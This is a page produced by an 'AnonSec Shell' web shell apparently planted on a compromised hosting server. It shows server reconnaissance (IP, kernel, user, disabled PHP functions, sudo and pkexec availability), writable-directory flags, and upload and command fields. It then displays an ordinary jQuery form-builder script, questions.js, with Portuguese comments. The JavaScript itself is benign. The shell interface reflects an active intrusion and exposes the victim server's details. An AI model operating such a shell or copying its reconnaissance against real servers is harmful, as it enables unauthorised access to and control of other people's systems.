AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/pranata/application/plugins/module_forms/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/pranata/application/plugins/module_forms/assets/js/questions.js
$(document).ready(function () {
	window.counter = 0;
	window.choices = 0;
	window.char_code = 65;
	window.question_focused = false;

	modalAddQuestion();
	modalEditQuestion();
	modalLogicJumps();
	removeQuestion();
	confirmDelete();
	sortable();
	tooltip();
	cloneQuestion();
});

/**
 * Método que cria a modal do formulário de cadastro de pergunta
 */
function modalAddQuestion() {
	var _url = $('#_url').val();
	var form_id = $('input[name="id"]').val();

	$('.btn-question-type').on('click', function (event) {
		event.preventDefault();

		var type = $(this).text();
		var type_id = $(this).attr('href');

		window.counter++;
		window.char_code = 65;

		var $modal = $('#ajax-modal');
		$('body').modalmanager('loading');

		setTimeout(function () {
			$modal.load(_url + 'module_forms/questions/modalAddQuestion/' + form_id, '', function () {
				$modal.modal({
					// width: "800"
				});

				$('#form-question-preview').prepend('<input type="hidden" name="type_id" value="'+type_id+'">');

				if (type.length > 0) {
					$('.options-header').find('span').text(window.counter + ". " + type);
				}

				addVariable(type_id);
				bindQuestion(type_id);
				select2WebserviceField();

				$('body').off().on('click', '#btn-add-question', function (evt2) { //.off()
					evt2.preventDefault();

					var ajax = sendQuestionForm();

					ajax.done(function (data) {
						if(data.status) {
							$modal.modal('hide');

							var dialog = bootbox.dialog({
								message: '<p class="text-primary text-center">' + data.msg + '</p>',
								closeButton: false,
								size: "small"
							});

							setTimeout(function () {
								dialog.modal('hide');

								// Atualiza a listagem de questões
								refreshQuestions();
							}, 2000);
						}
					});
				})
			});
		}, 500);

		$("#ajax-modal").on('hidden.bs.modal', function (evt) {
			tinymce.remove('#question_label');
			$(this).removeData("bs.modal").find(".modal-body").empty();

			tinymce.EditorManager.execCommand('mceRemoveControl',true, "#question_label");
		});
	});
}

/**
 * Método que cria a modal do formulário de edição de pergunta
 */
function modalEditQuestion() {
	var _url = $('#_url').val();
	var form_id = $('input[name="id"]').val();

	$("#table-questions").off().on('click', 'tr', function (event) {
		event.preventDefault();
		var target = event.target;

		// Impede que o evento click do TD propagado para os elementos filhos
		// como os botões Remover e Jumps possa abrir o modal
		if (target.parentNode !== event.currentTarget)
			return;

		// Se o evento for para Editar a questão
		if (target.nodeName == "TD") {
			var question_id = $(target).parent().data('question_id');
		}

		// window.counter++;
		window.choices = 0;
		window.char_code = 65;

		var $modalEdit = $('#ajax-modal');
		$('body').modalmanager('loading');

		setTimeout(function () {
			$modalEdit.load(_url + 'module_forms/questions/modalAddQuestion/' + form_id +"/"+ question_id, '', function () {
				$modalEdit.modal({
					// width: "800"
				});

				var type = $('#question-container').data('type');
				var type_id = $('#question-container').data('type_id');
				var sorder = $(target).parent().data('sorder');

				$('#form-question-preview').prepend('<input type="hidden" name="type_id" value="'+type_id+'">');

				if (type.length > 0) {
					$('.options-header').find('span').text(sorder + ". " + type);
				}

				addVariable(type_id);
				bindQuestion(type_id);
				select2WebserviceField();
				multipleChoices(type_id, question_id);
				refreshChoices(question_id);

				$('body').off().on('click', '#btn-add-question', function (event) { // .off()
					event.preventDefault();

					var ajax = sendQuestionForm();

					ajax.done(function (data) {
						if(data.status) {
							$modalEdit.modal('hide');

							var dialog = bootbox.dialog({
								message: '<p class="text-primary text-center">' + data.msg + '</p>',
								closeButton: false,
								size: "small"
							});

							setTimeout(function () {
								dialog.modal('hide');

								// Atualiza a listagem de questões
								refreshQuestions();
							}, 2000);
						}
					});
				})
			}); // End Modal

			$("#ajax-modal").on('hidden.bs.modal', function (evt) {
				tinymce.remove('#question_label');
				$(this).removeData("bs.modal").find(".modal-body").empty();

				tinymce.EditorManager.execCommand('mceRemoveControl',true, "#question_label");
			});
		}, 500); // End setTimeout
	});
}

/**
 * Verifica se o tipo de dado clicado é válido e insere o seu nome no
 * Header da coluna lateral, depois chama a função que irá preparar o formulário.
 * Prepara o formulário para cada tipo de dado que é escolhido para a pergunta
 */
function createQuestion(type_id) {

	var question_preview = $('#response-preview');
	var created_inputs = question_preview.find('input').length;

	var action = 'add';
	var question_id = $('input[name="question_id"]').val();
	if (question_id) action = 'edit';

	if (parseInt(type_id) > 0 && created_inputs <= 0) {
		// Texto curto
		if (type_id == '10') {
			question_preview.append('<input type="text" class="form-control" placeholder="Resposta: Texto curto">');
		}
		// Texto longo
		if (type_id == '11') {
			question_preview.append('<textarea name="question" id="question" cols="20" rows="3" class="form-control" ' +
				'placeholder="Resposta: Texto longo"></textarea>');
		}
		// Data
		if (type_id == '12') {
			question_preview.append('<input type="text" class="form-control" placeholder="Ex: 01/01/2017" required>');
			addMaskInput('99/99/9999');
		}
		// Hour
		if (type_id == '13') {
			question_preview.append('<input type="text" class="form-control" placeholder="Ex: 10:20" required>');
			addMaskInput('99:99');
		}
		// Múltipla escolha
		if (type_id == '14') {
			window.choices++;
			$('#choices-container').removeClass('hide').show();

			// Cria a primeira opção
			setTimeout(function () {
				if ($('.choice-container').length <= 0) {
					createNewChoice();
				}
			}, 200);

			// Cria as proximas opções clicando no botão
			$('.add-new-choice').on('click', function (event) {
				createNewChoice();
			});

			removeChoice();
			bindChoices();
		}
		// Número
		if (type_id == '15') {
			question_preview.append('<input type="text" class="form-control" placeholder="Ex: 123" required>');
			addMaskInput("9**********");
		}
		// Sim / Não
		if (type_id == '16') {
			question_preview.append('<label><input type="radio" name="yes_no" value="Sim"> Sim</label>');
			question_preview.append('<label><input type="radio" name="yes_no" value="Não"> Não</label>');
		}
		// Email
		if (type_id == '17') {
			question_preview.append('<input type="email" class="form-control" placeholder="Ex: email@teste.com" required>');
		}
		// Website
		if (type_id == '18') {
			question_preview.append('<input type="text" class="form-control" placeholder="Ex: http://www.yoursite.com" required>');
		}
		// Stars
		if (type_id == '19') {
			question_preview.append('<input type="text" class="form-control" placeholder="Ex: http://www.yoursite.com" required>');
		}
		// Upload de arquivo
		if (type_id == '23') {
			question_preview.append('<input type="file" class="form-control" placeholder="Selecione um arquivo" required>');
		}
		// Escala de opinião
		if (type_id == '21') {
			$('#slider-opinion-scale').removeClass('hide').show();

			var msg = '<div class="msg">Razoável</div>';
			question_preview.append(msg);

			var btn_group = '<div class="btn-group">';
			btn_group += '<a href="#" class="btn btn-primary">0</a>';
			btn_group += '<a href="#" class="btn btn-primary">2</a>';
			btn_group += '<a href="#" class="btn btn-primary">3</a>';
			btn_group += '<a href="#" class="btn btn-primary">4</a>';
			btn_group += '<a href="#" class="btn btn-primary">5</a>';
			btn_group += '</div>';

			question_preview.append(btn_group);

			// createSlider();
			initSlider();
		}
	}
}

/**
 * Cria o código da nova opção e insere no Html
 */
function createNewChoice(value = false) {
	var choice = '';
	choice += '<div class="input-group input-group-sm choice-container" id="recordsArray_'+window.choices+'" data-choice="'+window.choices+'">';
	choice += '<div class="input-group-addon draggable" id="choice-'+window.choices+'"><strong class="letter">'+generateLetter()+'</strong><i class="fa fa-arrows arrows"></i></div>';
	choice += '<input type="text" name="choices[]" data-choice="'+window.choices+'" class="form-control input-sm choice" aria-describedby="choice-'+window.choices+'" value="'+((value) ? value : "")+'">';
	choice += '<span class="input-group-btn">';
	choice += '<button class="btn btn-danger btn-sm remove-choice"><i class="fa fa-trash"></button>';
	choice += '</span>';
	choice += '</div>';

	$('#choices-container').find('.form-group').append(choice);
	$('#question-preview').append('<input type="text" class="form-control choice-preview-'+window.choices+'" placeholder="'+generateLetter()+'" required>');

	var action = $('input[name="question_id"]').length;
	if (action == 1) {
		sortableChoicesEdit();
	}
	else {
		sortableChoicesAdd();
	}

	window.choices++;
	window.char_code++;
}

/**
 * Remove uma opção do Html
 */
function removeChoice() {
	$('#choices-container').on('click', '.remove-choice', function (event) {
		var input_group = $(this).closest('.input-group');
		var id_choice = input_group.find('input').data('choice');

		input_group.remove();
		$('#question-preview').find('.choice-preview-' + id_choice).remove()
	});
}

/**
 * Verifica tudo que é digitado no input da questão
 */
function bindQuestion(type) {
	var typingTimer;

	$('#question_label').on('keyup', function (evt3) {
		writeQuestionPreview($(this).val());

		// Diferente de Múltipla escolha
		if (type != '14') {
			clearTimeout(typingTimer);

			var question_preview = $('.question-preview');
			typingTimer = setTimeout(function () {
				question_preview.find('input').val('').focus();
			}, 1200);
		}
	});
}

/**
 * Printa o texto recebido no preview da questão
 */
function writeQuestionPreview(text) {
	if (text.length > 0) {
		$('.question-preview').find('label').html(findReplace(text));

		// Regex que busca as tags <strong>
		var reg_tag = /\<strong data-question_id\=\"(\d+)\"\>(.*?)(\<\/strong\>)/gi;

		// A regex substitui a tag strong por {{answer-ID}}
		var question = text.replace(reg_tag, '{{answer-$1}}');

		// Insere no campo hidden
		$('input[name="question"]').val(findReplace(question));
	}
}

/**
 * Remove HTML entities do texto do preview da questão
 */
function findReplace(text) {
	if (/\&nbsp;/ig.test(text)) {
		text = text.replace(/\&nbsp;/ig, ' ');
	}
	if (/\<\/?p\>/ig.test(text)) {
		text = text.replace(/\<\/?p\>/ig, '');
	}

	return text;
}

/**
 * Exibe no Html, tudo que é digitado nas opções da questão
 */
function bindChoices() {
	$('#choices-container').on('keyup', '.choice', function (event) {
		var id_choice = $(this).data('choice');

		$('.question-preview').find('.choice-preview-'+id_choice).val($(this).val());
	});
}

/**
 * Função que gera as letras do alfabeto
 * @returns {string}
 */
function generateLetter(charCode = false) {
	if (!charCode) {
		return String.fromCharCode(window.char_code);
	}
	else {
		return String.fromCharCode(charCode);
	}
}

/**
 * Função que envia o ajax com o conteúdo do formulário da questão
 */
function sendQuestionForm() {
	return $.ajax({
		url: $('#form-question-preview').attr('action'),
		data: $('#form-question-preview').serialize(),
		dataType: "json",
		method: "post"
	});
}

/**
 * Função que envia uma requisição para remover a pergunta
 */
function removeQuestion() {
	$(document).on('click', '.btn-remove-question', function (event) {
		event.preventDefault();
		event.stopPropagation();

		var href = $(this).attr('href');

		// Remove o item da listagem
		$(this).closest('tr').remove();

		// Bloqueia a tela temporariamente
		$("#ajax-modal").block({message: block_msg});

		$.get(href, function (data) {
			if (data.status) {
				var dialog = bootbox.dialog({
					message: '<p class="text-success">' + data.msg + '</p>',
					closeButton: false
				});

				// Após remover reordena as questões
				reorderQuestions();

				setTimeout(function () {
					dialog.modal('hide');

					// Atualiza a listagem
					refreshQuestions();

					// Desbloqueia a tela
					$(".modal-body").unblock();
				}, 1000);
			}
		});
	});
}

/**
 * Função que envia um ajax para atualizar a lista de questões
 */
function refreshQuestions() {
	var _url = $('#_url').val();
	var form_id = $('input[name="id"]').val();

	$.ajax({
		url: _url + 'module_forms/questions/listAjax',
		method: "post",
		data: {"form_id": form_id},
		dataType: "json",
		cache: false
	}).done(function (data) {

		var table = $('#table-questions').find('tbody').html('');

		$.each(data, function (idx, item) {
			var child_html = '';

			// Itera as questões Pai que possuem filhas
			if (parseInt(item.has_child) > 0) {
				child_html += "<table class=\"table table-condensed table-striped table-hover\">";
				child_html += "<tbody class=\"sortable\">";
				child_html += "<tr class=\"fixed\">";
				child_html += "<td colspan=\"3\">";
				child_html += "<i class=\"fa fa-arrows\" style=\"margin-right: 10px;\">";
				child_html += "</i>" + _L['Drag questions to this area'];
				child_html += "</td>";
				child_html += "</tr>";

				// Itera as questões filhas
				$.each(data, function (i, v) {
					if (parseInt(item.id) == parseInt(v.parent_id)) {
						child_html += "<tr id='recordsArray_"+v.id+"' data-question_id='"+v.id+"' data-sorder='"+v.sorder+"' class='level-0'>";
						child_html += "<td>" + v.sorder +"</td>";
						child_html += "<td>" + v.question +"</td>";
						child_html += "<td>";
						child_html += "<a class='btn btn-info btn-xs btn-logic-jump' data-question='"+v.id+"' title='"+_L['module_forms_logic_jump']+"' data-toggle='tooltip' href='#' style='margin-left: 5px;'><i class='fa fa-reply'></i></a>";
						child_html += "<a class='btn btn-primary btn-xs btn-clone-question' title='"+_L['Clone Question']+"' data-question='"+v.id+"' data-toggle='tooltip' href='#' style='margin-left: 5px;'> <i class='fa fa-clone'></i></a>";
						child_html += "<a class='btn btn-danger btn-xs btn-remove-question' href='"+_url+"module_forms/questions/delete/"+v.id+"'><i class='fa fa-trash' style='margin-left: 5px;'></i> Remover</a>";
						child_html += "</td>";
						child_html += "</tr>";
					}
				});

				child_html += "</tbody>";
				child_html += "</table>";
			}

			// Itera as questões Pai sem filhas
			if (!item.parent_id) {
				var tr = "<tr id='recordsArray_"+item.id+"' data-question_id='"+item.id+"' data-sorder='"+item.sorder+"' class='level-1'>";
				tr += "<td class='col-md-1'>" + item.sorder + "</td>";
				tr += "<td>" + item.question + child_html;

				// Questão do tipo "qrupo de questões", exibe a área do Drop
				// se ainda não tiver questões filhas
				if (item.type_id == 20 && child_html == '') {
					tr += "<table class=\"table table-condensed table-striped table-hover\">";
					tr += "<tbody class=\"sortable\">";
					tr += "<tr class=\"fixed\">";
					tr += "<td colspan=\"3\">";
					tr += "<i class=\"fa fa-arrows\" style=\"margin-right: 10px;\">";
					tr += "</i>" + _L['Drag questions to this area'];
					tr += "</td>";
					tr += "</tr>";
					tr += "</tbody>";
					tr += "</table>";
				}

				tr += "</td>";
				tr += "<td class='col-md-3'>";
				tr += "<a class='btn btn-info btn-xs btn-logic-jump' data-question='"+item.id+"' title='"+_L['module_forms_logic_jump']+"' data-toggle='tooltip' href='#' style='margin-left: 5px;'><i class='fa fa-reply'></i></a>";
				tr += "<a class='btn btn-primary btn-xs btn-clone-question' title='"+_L['Clone Question']+"' data-question='"+item.id+"' data-toggle='tooltip' href='#' style='margin-left: 5px;'> <i class='fa fa-clone'></i></a>";
				tr += "<a class='btn btn-danger btn-xs btn-remove-question' href='"+_url+"module_forms/questions/delete/"+item.id+"' style='margin-left: 5px;'><i class='fa fa-trash'></i> Remover</a>";
				tr += "</td>";
				tr += "</tr>";
			}

			table.append(tr);
		});

		// Reexecuta o sortable após a atualização da listagem
		sortable();
	});
}

/**
 * Adiciona a mascara nos campos de preview
 * @param mask
 */
function addMaskInput(mask) {
	var input = $('#response-preview').find('input');
	input.mask(mask);
}

/**
 * Popup de confirmação de exclusão
 */
function confirmDelete() {
	$('.delete-type').on('click', function (event) {
		event.preventDefault();

		var href = $(this).attr('href');

		var dialog = bootbox.confirm({
			message: _L['are_you_sure'],
			buttons: {
				confirm: {
					label: _L['Yes'],
					className: "btn-primary"
				},
				cancel: {
					label: _L['No'],
					className: "btn-danger"
				}
			},
			callback: function(result){
				if(result == true) {
					window.location.href = href;
				}
				else {
					dialog.modal('hide');
					return false;
				}
			}
		});

	});
}

/**
 * Cria o slide para a Escala de Opinião
 */
function createSlider(value = 5) {
	var handle = $('#custom-handle');
	$('#slider').slider({
		min: 0,
		max: 10,
		value: value,
		create: function() {
			handle.text($(this).slider('value'));
		},
		slide: function(event, ui) {
			handle.text(ui.value);
			$('input[name="opinion-scale"]').val(ui.value);
			showSliderPreview(ui.value);
		}
	});
}

/**
 * Em casa de edição, passa o valor cadastrado no DB para exibir
 * no preview da escala de opinião. Senão, cria o slider default.
 */
function initSlider() {
	var question_id = parseInt($('input[name="question_id"]').val());
	var opinion_scale = parseInt($('input[name="opinion-scale"]').val());

	if (Number.isInteger(question_id)) {
		if (Number.isInteger(opinion_scale)) {
			showSliderPreview(opinion_scale);
			createSlider(opinion_scale);
		}
	}
	else {
		createSlider();
	}
}

/**
 * Exibe um preview da Escala de Opinião
 *
 * @param range
 */
function showSliderPreview(range) {
	console.log('0: ', range);
	if (range) {
		console.log('1: ', range);
		if (range <= 3) {
			$('#response-preview').find('.msg').text("Muito Ruim");
		}
		if (range > 3 && range < 7) {
			$('#response-preview').find('.msg').text("Razoável");
		}
		if (range >= 7) {
			$('#response-preview').find('.msg').text("Excelente");
		}
		var btn = '';
		for (var i = 0; i <= range; i++) {
			btn += '<a href="#" class="btn btn-primary">' + i + '</a>';
		}
		$('#response-preview').find('.btn-group').html('').append(btn);
	}
}

/**
 * Muda a ordenação das perguntas
 */
function sortable() {
	var _url = $('#_url').val();

	$(".sortable").sortable({
		connectWith: "tbody.sortable",
		opacity: 0.6,
		cursor: 'move',
		cancel: ".fixed",
		update: function(event, ui) {
			// Bloqueia com a tela preta
			$(".panel-body").block({message: block_msg});

			var order = $(this).sortable("serialize") + '&action=module_forms_questions';
			$("#resp").html('Saving...');
			$.post(_url + "reorder/reorder-post", order, function(theResponse){
				$("#resp").html(theResponse);
			});

			var data = {};

			var question_id = $(ui.item[0]).attr('id');
			var question = question_id.split('_');
			data.question_id = question[1];

			// 0 = subnível, 1 = primeiro nível
			if($(ui.item[0]).parent().index() == 0) {
				var parent_id = $(ui.item[0]).parent().closest('.level-1').attr('id');
				var parent = parent_id.split('_');
				data.parent_id = parent[1];
			}

			$.post(_url + 'module_forms/questions/addParent', data, function (response) {
				setTimeout(function() {
					$(".panel-body").unblock();
					refreshQuestions();
				}, 200);
			});
		}
	});
}

/**
 * Inicia os Tooltip
 */
function tooltip() {
	$('body').find('[data-toggle="tooltip"]').tooltip();
}

/**
 * Método que cria a modal do formulário de Jumps Lógicos
 */
function modalLogicJumps() {
	var _url = $('#_url').val();
	var $modal_logic_jump = $('#ajax-modal');

	$(document).on('click', '.btn-logic-jump', function (event) {
		event.preventDefault();
		event.stopPropagation();

		var question = $(this).data('question');

		$('body').modalmanager('loading');
		setTimeout(function () {
			$modal_logic_jump.load(_url + 'module_forms/questions/modalAddLogicJump/' + question, '', function () {
				$modal_logic_jump.modal({
					// width: "800"
				});

				//
				duplicateLogicJump();
				removeLogicJump();

				$('body').off().one('click', '#btn-add-logic-jump', function (event) {
					event.preventDefault();

					var ajax = sendLogicJumpForm();

					if (ajax) {
						ajax.done(function (data) {
							if(data.status) {
								$modal_logic_jump.modal('hide');

								var dialog = bootbox.dialog({
									message: '<p class="text-success">' + data.msg + '</p>',
									closeButton: false
								});

								setTimeout(function () {
									dialog.modal('hide');

									// Atualiza a listagem de questões
									// refreshQuestions();
								}, 2000);
							}
						});
					}
				})
			});
		}, 500);
	});
}

/**
 * Envia o formulário via ajax
 */
function sendLogicJumpForm() {
	return $.ajax({
		url: $('#form-logic-jump').attr('action'),
		data: $('#form-logic-jump').serialize(),
		dataType: "json",
		method: "post"
	});
}

/**
 * Duplica o form de cadastro de Jumps Lógicos
 */
function duplicateLogicJump() {
	$(document).on('click', '.btn-duplicate-jump', function (event) {
		event.preventDefault();

		$('.jump-panel:first').clone().insertAfter('.jump-panel:first');
	});
}

/**
 * Remove o form de cadastro de Jumps Lógicos
 */
function removeLogicJump() {
	$(document).on('click', '.btn-remove-jump', function (evt4) {
		evt4.preventDefault();
		$(this).closest('.jump-panel').remove();
	});
}

function select2WebserviceField() {
	var form_id = $('input[name="form_id"]').val();
	$('#webservice-field').select2({
		theme: "bootstrap",
		ajax: {
			url: $('#_url').val() + 'module_forms/webservicesfields/ajaxWebserviceFields',
			dataType: 'json',
			delay: 150,
			method: "POST",
			data: function (params) {
				return {
					term: params.term,
					form_id: form_id
				};
			},
			processResults: function (data) {
				return {
					results: $.map(data, function (item) {
						return {
							text: item.label,
							id: item.id
						}
					})
				}
			},
			cache: true
		}
	});
}

function addVariable(type_id) {
	var _url = $('#_url').val();
	var form_id = $('input[name="id"]').val();
	var questions = [];

	// setTimeout(function () {

		$.ajax({
			url: _url + "module_forms/questions/listAjax",
			method: "post",
			dataType: "json",
			data: {"form_id": form_id},
			cache: false
		}).done(function (data) {
			if (data) {
				questions = data.map(function (value) {
					return {
						"text": value.sorder+" - "+value.question,
						"value": "&nbsp;<strong data-question_id='"+value.id+"'>"+value.sorder+" - "+value.question+"</strong>&nbsp;"}
				});

				tinymce.init({
					selector: "#question_label",
					plugins: "variable code autoresize",
					toolbar: "variables", // Define os itens ativos na barra superior
					menubar: false, // Não exibe a barra superior (menus)
					statusbar: false, // Não exibe a barra inferior
					autoresize_min_width: '200',
					autoresize_max_width: '300',
					entity_encoding: "raw", // Não altera o encoding (UTF-8)
					init_instance_callback: function (editor) {
						editor.on('KeyUp', function (evt) {
							// Printa no preview da questão
							writeQuestionPreview(editor.getContent());
						});
						editor.on('Change', function (evt) {
							// Printa no preview da questão
							writeQuestionPreview(editor.getContent());
						});
						editor.on('focus', function (evt) {
							// var choices_created = $('.choice-container').length;
							// if (!window.question_focused || choices_created == 0) {
							// 	createQuestion(type_id);
							// 	window.question_focused = true;
							// }
						});
					},
					setup: function (editor) {
						editor.addButton('variables', {
							icon: false,
							type: "listbox",
							title: 'Add Variável',
							text: 'Add. Variável',
							// fixedWidth: true,
							values: questions,
							onselect: function (event) {
								editor.insertContent(this.value());
							}
							// onPostRender: function () {
							// 	this.value('&nbsp;<em>Foobar</em>');
							// }
						});
					}
				}); // End TinyMCE

				// Cria a questão
				var choices_created = $('.choice-container').length;
				if (!window.question_focused || choices_created == 0) {
					createQuestion(type_id);
					window.question_focused = true;
				}
			}
		}); // End Ajax .done

		$(document).on('change', '#variable', function (event) {
			event.preventDefault();

			var question = $(this).find('option:selected').text();
			var question_id = $(this).find('option:selected').val();

			// Verifica a posição do cursor no textarea da questão e insere a variável
			var selection = $('#question').getSelection();
			$('#question').insertText("<span class='label label-default label-xs'>" + question + "</span>", selection.start);
		})
	// }, 250); //End setTimeout
}

/**
 * Função que reordena as questões
 */
function reorderQuestions() {
	var _url = $('#_url').val();
	var order = $('tbody.sortable').sortable("serialize") + '&action=module_forms_questions';

	$("#resp").html('Saving...');
	$.post(_url + "reorder/reorder-post", order, function(theResponse){
		$("#resp").html(theResponse);
	});
}

/**
 * Função para clonar uma questão
 */
function cloneQuestion() {
	var _url = $('#_url').val();
	$(document).on('click', '.btn-clone-question', function (event) {
		event.preventDefault();

		var form_id		= $("input[name='id']").val();
		var question_id	= $(this).data('question');

		$.ajax({
			url: _url + "module_forms/questions/cloneQuestion",
			method: "post",
			dataType: "json",
			data: {"form_id": form_id, "question_id": question_id},
			cache: false
		}).done(function (data) {
			if (data) {
				reorderQuestions();

				var dialog = bootbox.dialog({
					message: '<p class="text-primary text-center">' + data.msg + '</p>',
					closeButton: false,
					size: "small"
				});

				setTimeout(function () {
					dialog.modal('hide');

					// Atualiza a listagem de questões
					refreshQuestions();
				}, 2000);
			}
		});
	});
}

/**
 *
 */
function multipleChoices(type_id, question_id) {
	// Multiple Choices
	if (type_id == 14 && question_id) {
		findChoices();
	}
}

function findChoices(type_id) {
	// Multiple Choices
	if (type_id == 14) {
		$.ajax({
			url: _url + "module_forms/questions/findChoices",
			method: "post",
			dataType: "json",
			data: {"form_id": form_id, "question_id": question_id},
			cache: false
		}).done(function (data) {
			if (data) {
				reorderQuestions();

				var dialog = bootbox.dialog({
					message: '<p class="text-primary text-center">' + data.msg + '</p>',
					closeButton: false,
					size: "small"
				});

				setTimeout(function () {
					dialog.modal('hide');

					// Atualiza a listagem de questões
					refreshQuestions();
				}, 2000);
			}
		});
	}
}

/**
 * Muda a ordenação das opções das perguntas de múltipla escolha
 */
function sortableChoicesAdd() {
	var _url = $('#_url').val();

	$(".sortable-choices").sortable({
		connectWith: "div.sortable-choices",
		opacity: 0.6,
		cursor: 'move',
		cancel: ".fixed,input",
		update: function(event, ui) {

			// Bloqueia com a tela preta
			// $(".panel-body").block({message: block_msg});

			// var order = $(this).sortable("serialize") + '&action=module_forms_choices';
			// $("#resp").html('Saving...');
			// $.post(_url + "reorder/reorder-post", order, function(theResponse){
			// 	$("#resp").html(theResponse);
			// });

			window.char_code = 65;
			var choices = $('.sortable-choices').find('.choice-container');
			var choices_order = [];

			$('#question-preview').html('');
			$.each(choices, function (index, choice) {
				var letter = generateLetter();
				$(choice).find('.letter').text(letter);

				var c_id = $(choice).data('choice');
				var c_letter = $(choice).find('.letter').text();
				var c_value = $(choice).find('input').val();
				var cp = '<input type="text" class="form-control choice-preview-'+c_id+'" placeholder="'+c_letter+'" value="'+c_value+'">';
				$('#question-preview').append(cp);

				window.char_code++;
			});

		}
	});
}

/**
 * Muda a ordenação das opções das perguntas de múltipla escolha
 */
function sortableChoicesEdit() {
	var _url = $('#_url').val();

	$(".sortable-choices").sortable({
		connectWith: "div.sortable-choices",
		opacity: 0.6,
		cursor: 'move',
		cancel: ".fixed,input",
		update: function(event, ui) {

			window.char_code = 65;
			var choices = $('.sortable-choices').find('.choice-container');
			var choices_order = [];

			$('#question-preview').html('');
			$.each(choices, function (index, choice) {
				var letter = generateLetter();
				$(choice).find('.letter').text(letter);

				var c_id = $(choice).data('choice');
				var c_letter = $(choice).find('.letter').text();
				var c_value = $(choice).find('input').val();
				var cp = '<input type="text" class="form-control choice-preview-'+c_id+'" placeholder="'+c_letter+'" value="'+c_value+'">';
				$('#question-preview').append(cp);

				window.char_code++;
			});

			// // Bloqueia com a tela preta
			// $(".panel-body").block({message: block_msg});

			var order = $(this).sortable("serialize") + '&action=module_forms_choices';
			$("#resp").html('Saving...');
			$.post(_url + "reorder/reorder-post", order, function(theResponse){
				$("#resp").html(theResponse);
			});
		}
	});
}

/**
 * Atualiza a listagem das opções em questões de multipla escolha
 * @param question_id
 */
function refreshChoices(question_id) {
	var _url = $('#_url').val();
	if (question_id) {
		$.ajax({
			url: _url + 'module_forms/questions/findChoices',
			method: "post",
			data: {"question_id": question_id},
			dataType: "json",
			cache: false
		}).done(function (data) {
			if (data) {
				// $('.choices-container').find('.choice-container').remove();
				$.each(data, function (i, v) {
					// Cria as choices
					createNewChoice(v.name);

					// Preenche o valor do preview das choices
					$('.question-preview').find('.choice-preview-'+(i+1)).val(v.name);
				})
			}
		});
	}
}

Anon7 - 2022
AnonSec Team